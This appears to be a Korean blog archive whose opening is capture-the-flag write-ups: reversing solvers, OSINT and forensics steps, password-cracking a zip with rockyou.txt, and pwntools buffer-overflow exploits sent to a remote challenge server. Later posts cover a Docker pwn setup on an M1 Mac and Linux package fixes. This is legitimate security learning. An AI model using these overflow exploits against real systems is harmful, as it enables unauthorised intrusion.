else
puts("Wrong password !");
return 0;
}
data = "*9J<qiEUoEkU]EjUc;U]EEZU`EEXU^7fFoU^7Y*_D]s"
datalist = [i for i in data]
for i in range(len(datalist)):
if ord(datalist[i]) == 42:
datalist[i] = chr(65)
datalist[i] = chr(ord(datalist[i]) + 10)
print(''.join(datalist))
값이 65일 때 42로 변경해주고 그 외에 경우에는 -10을 해주는 연산이어서 그 반대의 코드를 짜서 해결해주었다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[512]; // [rsp+0h] [rbp-430h]
char v5[512]; // [rsp+200h] [rbp-230h] BYREF
char v6[32]; // [rsp+400h] [rbp-30h] BYREF
int i; // [rsp+420h] [rbp-10h]
char v8; // [rsp+427h] [rbp-9h]
int v9; // [rsp+428h] [rbp-8h]
int v10; // [rsp+42Ch] [rbp-4h]
strcpy(v6, "ZRIU]HdANdJAGDIAxIAvDDsAyDDq_");
v10 = 0;
v9 = 0;
puts("-------------------------------------");
puts("\tKnight Switch Bank");
puts("--------------------------------------");
puts("Welcome to Knight Switch Bank....");
printf("Please enter your password : ");
__isoc99_scanf("%s", v5);
while ( v5[v10] )
{
if ( v5[v10] <= 64 || v5[v10] > 77 )
{
if ( v5[v10] <= 96 || v5[v10] > 109 )
{
if ( v5[v10] <= 77 || v5[v10] > 90 )
{
if ( v5[v10] <= 109 || v5[v10] > 122 )
v4[v10] = v5[v10] - 32;
else
v4[v10] = v5[v10] - 13;
}
else
{
v4[v10] = v5[v10] - 13;
}
}
else
{
v4[v10] = v5[v10] + 13;
}
}
else
{
v4[v10] = v5[v10] + 13;
}
++v10;
}
while ( v4[v9] )
v4[v9++] += 2;
v8 = 0;
for ( i = 0; v6[i]; ++i )
{
if ( v6[i] != v4[i] )
{
v8 = 0;
break;
}
v8 = 1;
}
if ( v8 )
winner();
else
puts("Oh My God ! You entered a wrong password.");
return 0;
}
data = "ZRIU]HdANdJAGDIAxIAvDDsAyDDq_"
datalist = [ord(i) - 2 for i in data]
# print(datalist)
for i in range(len(datalist)):
if not (datalist[i] - 13 <= 64 or datalist[i] - 13 > 77): print(chr(datalist[i] - 13), end='')
elif not (datalist[i] - 13 <= 96 or datalist[i] - 13 > 109): print(chr(datalist[i] - 13), end='')
elif not (datalist[i] + 13 <= 77 or datalist[i] + 13 > 90): print(chr(datalist[i] + 13), end='')
elif not(datalist[i] + 13 <= 109 or datalist[i] + 13 > 122): print(chr(datalist[i] - 13), end='')
else: print(chr(datalist[i] + 32), end='')
KCTF{192.99.167.83}
문제 이미지이다.
이미지 검색을 통해 영화 종이의 집의 한 장면이라는 것을 알 수 있었다. 또한, 추가적인 검색을 통해 파트 3, 4의 스페인 은행은 'New Ministries'라고 알려져 있는 정부 건물을 이용했다는 것을 알게 되었다.
New Ministries를 스페인어로 하면 Nuevos Ministerios가 되며 해당 위치를 구글 맵으로 찾아보았다.
구글 맵에서 해당 사진과 유사한 사진을 쭉 훑어보던 도중 유사한 사진을 발견하여 해당 url에 등록된 좌표를 플래그로 넘겨주었더니 인증되었다.
문제 이미지이다.
이미지 검색과 함께 키워드로 camera를 주면 결과가 딱 하나 나오게 된다.
해당 사이트에 접속하면 플래그 인증에 필요한 정보를 모두 획득할 수 있다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[60]; // [rsp+0h] [rbp-40h] BYREF
int v5; // [rsp+3Ch] [rbp-4h]
v5 = 0x64;
printf("What's your name ? ");
fflush(_bss_start);
gets(v4, argv);
printf("Welcome %s \n", v4);
fflush(_bss_start);
if ( v5 != 0x64 )
system("cat /home/hacker/flag.txt");
return 0;
}
단순하게 v4에 입력받는 부분에서 bof를 일으켜 v5변수를 0x64가 아닌 다른 값으로 덮어주기만 하면 되는 문제이다.
from pwn import *
payload = b'A' * 0x41
# p = process("./whats_your_name")
p = remote("159.223.166.39", 9007)
p.sendlineafter(b"name ? ", payload)
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[2]; // [rsp+0h] [rbp-10h] BYREF
int v5; // [rsp+8h] [rbp-8h]
int v6; // [rsp+Ch] [rbp-4h]
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("Welcome to Hackers Vault...");
printf("Please enter your pass code : ");
v6 = 0;
v5 = 0;
__isoc99_scanf("%d", v4);
while ( v4[0] )
{
v4[1] = v4[0] % 10;
v5 += v4[0] % 10;
++v6;
v4[0] /= 10;
}
if ( v5 == 48 )
{
puts("\n");
puts("Welcome to your vault...");
puts("Your Secret : ");
system("cat /home/hacker/flag.txt");
}
else
{
puts("Wrong pass code");
}
return 0;
}
cnt = 1
while(cnt):
print(f"trying {cnt}")
v4 = cnt
v5 = 0
while(v4):
v5 += int(v4 % 10)
v4 /= 10
if v5 == 48:
print(f"result : {cnt}")
break
else:
print(f"error : {v5}")
cnt += 1
C와 같은 동작을 하는 python코드를 짜 Secret값을 알아냈다.
nc 접속을 한 이후 Secret값인 399999를 입력해주면 flag를 획득할 수 있다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[208]; // [rsp+0h] [rbp-120h] BYREF
char dest[72]; // [rsp+D0h] [rbp-50h] BYREF
int v6; // [rsp+118h] [rbp-8h]
int v7; // [rsp+11Ch] [rbp-4h]
v6 = 0;
v7 = 0;
printf("What's your name ? ");
fflush(_bss_start);
fgets(s, 200, stdin);
strcpy(dest, s);
if ( v7 == 1413825868 && v6 == 1397445710 )
{
printf("I liked your name and you got enough money :D");
system("cat /home/hacker/flag.txt");
}
else
{
printf("Sorry ! I didn't like your name and you don't have enough money. Come one earn some money.");
}
return 0;
}
s 버퍼에 입력을 받을 때는 길이값에 제한이 있지만 strcpy를 통해 dest로 옮겨갈때는 길이값 검증이 존재하지 않는다. 해당 취약점을 이용해 v7, v6를 덮으면 플래그를 획득할 수 있다.
from pwn import *
payload = b'A' * (80 - 8)
payload += p32(0x534B544E)
payload += p32(0x5445454C)
# p = process('./whats_your_name_two')
p = remote('159.223.166.39', 9008)
# sleep(10)
p.sendlineafter(b'name ? ', payload)
p.interactive()
놀랍게도 포너블은 이 3문제밖에 나오지 않았다...
pseudo code를 실제 코드로 작성하는 방식의 문제들이었다.
'''
Let x = 1
Let y = 2
Let answer += (x * y) + xy [here xy = 12]
Repeat this calculation till you have x = 666
The final answer will be the flag when x = 666
'''
y = 2
result = 0
for i in range(1,667):
result += (i * y) + int(str(i) + str(y))
print(result)
결과값은 2666664 이다.
엑셀로 열어서 Ctrl+F
를 이용해 KCTF 문자열을 검색해 찾았다.
(플래그를 읽어보면 zip이 들어간걸로 보아 압축해제하고 구성 파일들을 살펴봄으로 플래그를 획득하는 방향을 기획한 것 같은데 실제로 문제풀 때 30분동안 zip으로 해제하고 아무리 찾아봐도 플래그를 찾을 수 없었다...)
문제로 받은 tar.gz 압축파일을 압축해제하면 unzipme 파일을 준다.
unzipme 파일을 010editor로 열어보면 다음과 같이 압축파일이 2바이트씩 앞뒤가 바뀌어있는 것을 확인할 수 있다.
data1 = ''
data2 = ''
with open("unzipme", "rb") as f:
data = f.read()
for i in range(len(data)):
if i % 2 == 0:
data1 += chr(data[i])
else:
data2 += chr(data[i])
for i in range(len(data1)):
print(data2[i] + data1[i], end='')
다음과 같이 코드를 짜면 플래그를 읽을 수 있다.
stegsolve 툴을 이용해 다음과 같은 이미지를 획득할 수 있다.
아래 모스부호로 보이는 부호가 보이기 때문에 모스부호 디코더를 이용하여 디코딩하면 플래그를 획득할 수 있다.
다운 받은 파일을 010editor로 열어보면 IHDR
, sRGB
, pHYs
등 PNG파일을 구성하는 요소들이 보인다. 반면, PNG 헤더 시그니처인 89504E47 0D0A1A0A
중 뒷부분인 0D0A1A0A
밖에 존재하지 않기 때문에 89504E47
로 앞 4바이트를 바꾸어주고 사진을 열면 플래그를 획득할 수 있다.
문제 사진을 보면 binwalk에서 제공해주는 엔트로피 그래프가 있다. binwalk를 사용하길 의도하는 문제같다.
binwalk와 비슷하게 시그니처를 기반으로 파일을 카빙해주는 툴인 foremost를 이용해 파일을 카빙하면 압축파일이 나온다.
압축파일에는 비밀번호가 걸려있다.
이 압축파일을 풀 때 아무런 힌트도 없어서 좀 힘들었는데 딕셔너리 어택에 가장 많이 사용되는 rockyou.txt를 이용해 압축파일을 해제하면 된다.
젠장 세팅 다하고 문제 좀 푸려고 하니까 gdb를 사용할수가 없다..... qemu환경에서는 gdb를 사용할 수 없다고 하는데 docker에서 qemu를 이용해 x86_64환경을 에뮬레이팅해주는 것으로 보인다... 어떻게.... 어떻게 안될까....? ㅠㅠㅠ 결국 다시 맥북은 들고다니면서 윈도우에 원격 붙어쓰는 스타벅스 입장권이 될 것 같다.....
BoB10기 2차 프로젝트기간이 끝나고 드디어 Wargame과 CTF를 할 수 있는 자유시간이 주어졌다.
그렇게 Pwnable문제를 풀려던 찰나 밥트북을 받고 썩혀지고 있던 Macbook Air M1이 생각나 초기화를 하면서 환경구성을 했다.
그리고 그렇게 M1 맥북으로 포너블을 하겠다는 집념이 생기고 말았다.
그래서 도커에 aarch64 ubuntu를 설치하고 qemu를 이용하여 x86 architecture를 돌릴 생각이었는데 어머나 세상에 그 사이 도커에서 amd64 image를 그냥 에뮬레이터로 돌려주는 기능이 나왔다고 하는게 아닌가?!!?!?! (사실 리퍼런스 글이 3월인걸 보면 거의 1년이 지나 나온지 엄청 오래되었는데..... 3월부터는 인턴하느라 정신 없었고 6월부터는 BoB한다고 이제서야 2월에 산 M1 맥북을 만져본다...)
그래서 이전에 heap공부를 위해 ubuntu버전별로 올려두었던 이미지를 pull로 땡겨와 돌려봤더니 너무너무너무너무 예쁘게 잘 돌아갔다.
그리하여 급하게 ubuntu:20.04 amd64 이미지를 받아 gdb-peda, pwntools, ropper를 설치한 이미지를 구축하여 push로 밀어두었다. 앞으로 계속 추가할 예정이긴 한데 혹시라도 환경 구성하기 귀찮은 사람들은 아래 명령어로 끌어다 쓰면 된다.
docker pull c0wb3ll/pwnbuntu:20.04
docker run --platform linux/amd64 -it c0wb3ll/pwnbuntu:20.04 /bin/zsh
코드 수정은 vscode를 통해 docker에 붙어서 하고 있긴 한데 정작 docker cli내에서 code명령어가 안먹어서 불편함을 겪고 있다. 이것도 해결해야한다.
생각해보니 heap을 위한 pwngdb를 안깔았다.... 뭐 나중에 풀 일 있으면 추가하겠지...
나는 윈도우를 쓰다가 맥북으로 넘어와서 karabiner라는 툴을 이용해 right_command를 한영키(f13)로 옮겨서 사용하고 있다.
하지만 사용하다보면 매번 딜레이때문에 한영키를 누르고 바로 다음키는 한영이 바뀌지 않은채로 입력이 들어가서 스트레스를 받았다.
처음에는 그냥 사용하다가 이번에 맥북을 밀고 새로 환경을 구성하는데 구글링을 해보니 해결방법이 있었다.
다음 입력소스로 변경이 아닌 이전 입력 소스로 변경을 사용하고 있어서 딜레이가 있었기 때문에 다음 입력소스로 변경에 한영키를 두고 사용하면 한영키에 딜레이 없이 사용할 수 있다.
또한 맥북의 지우는 속도가 답답했는데 단순하게 반복입력속도와 반복지연시간을 짧게 해주면 간단하게 해결되는 문제였다.
컴알못의 컴퓨터 일기장...
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=noxpain&logNo=220669445505
에러 상황은 위 리퍼런스 블로그와 같다. ip주소가 안뜨는것... (이미 다 해결해버려서 다시 에러내고 사진찍기에는 과제하기에 바쁘다....)
해결 방법은 /etc/udev/rules.d/70-persistent-net.rules를 제거하면 해결된다고 한다.
위와 같은 에러가 났는데 아무리 구글링 해도 원인을 찾을 수가 없었다.
그래서 침착하게 다시 에러구문을 읽어봤더니 codec library가 없어서 나는 에러같았다.
ubuntu faad2 codec library를 검색하면 패키지 명을 알 수 있다.
다음과 같이 알아낸 패키지명으로 apt install을 진행해주면 된다.
sudo apt install libfaad-dev
추가로 똑같이 codec에러가 몇번 더 났는데 나머지도 똑같은 방법으로 해결했다.
멍청하게도 manual대로 하지 않았다가 맞닥뜨린 에러였다.
sudo apt-get install \
build-essential git-core cmake \
libssl-dev \
libx11-dev libxext-dev libxinerama-dev libxcursor-dev libxkbfile-dev \
libxv-dev libxi-dev libxdamage-dev libxrender-dev libxrandr-dev \
libasound2-dev libcups2-dev libpulse-dev \
libavutil-dev libavcodec-dev \
libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev
다음과 같이 입력하면 해결되는데 에러가 하나 껴있다.
# 옛날 매뉴얼이라 구버전 패키지 같다. 명령어를 실행하면 에러난다.
libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev
# ubuntu package를 찾아보니 1.0버전으로 되어있더라 1.0으로 받자.
libgstreamer1.0-dev libgstreamer-plugins-base1.0-dev
이 구문인데 0.10버전은 구버전이라 패키지가 사라진거 같았다. 그래서 ubuntu package를 찾아보니 1.0버전이어서 수정해서 명령어를 돌려줬더니 잘 실행되었다.
sudo apt-get install \
build-essential git-core cmake \
libssl-dev \
libx11-dev libxext-dev libxinerama-dev libxcursor-dev libxkbfile-dev \
libxv-dev libxi-dev libxdamage-dev libxrender-dev libxrandr-dev \
libasound2-dev libcups2-dev libpulse-dev \
libavutil-dev libavcodec-dev \
libgstreamer1.0-dev libgstreamer-plugins-base1.0-dev
앞으로 간단한 오류도 그냥 모두 정리하려고 한다. 이 글은 그 시작글이당
tcpdump ./configure를 진행하는도중 만난 에러가 있었다.
sudo apt-get install libpcap-dev
같은 해킹팀원 분께서 올려주셨는데 libpcap-dev 패키지를 업데이트 해주니 해결되었다.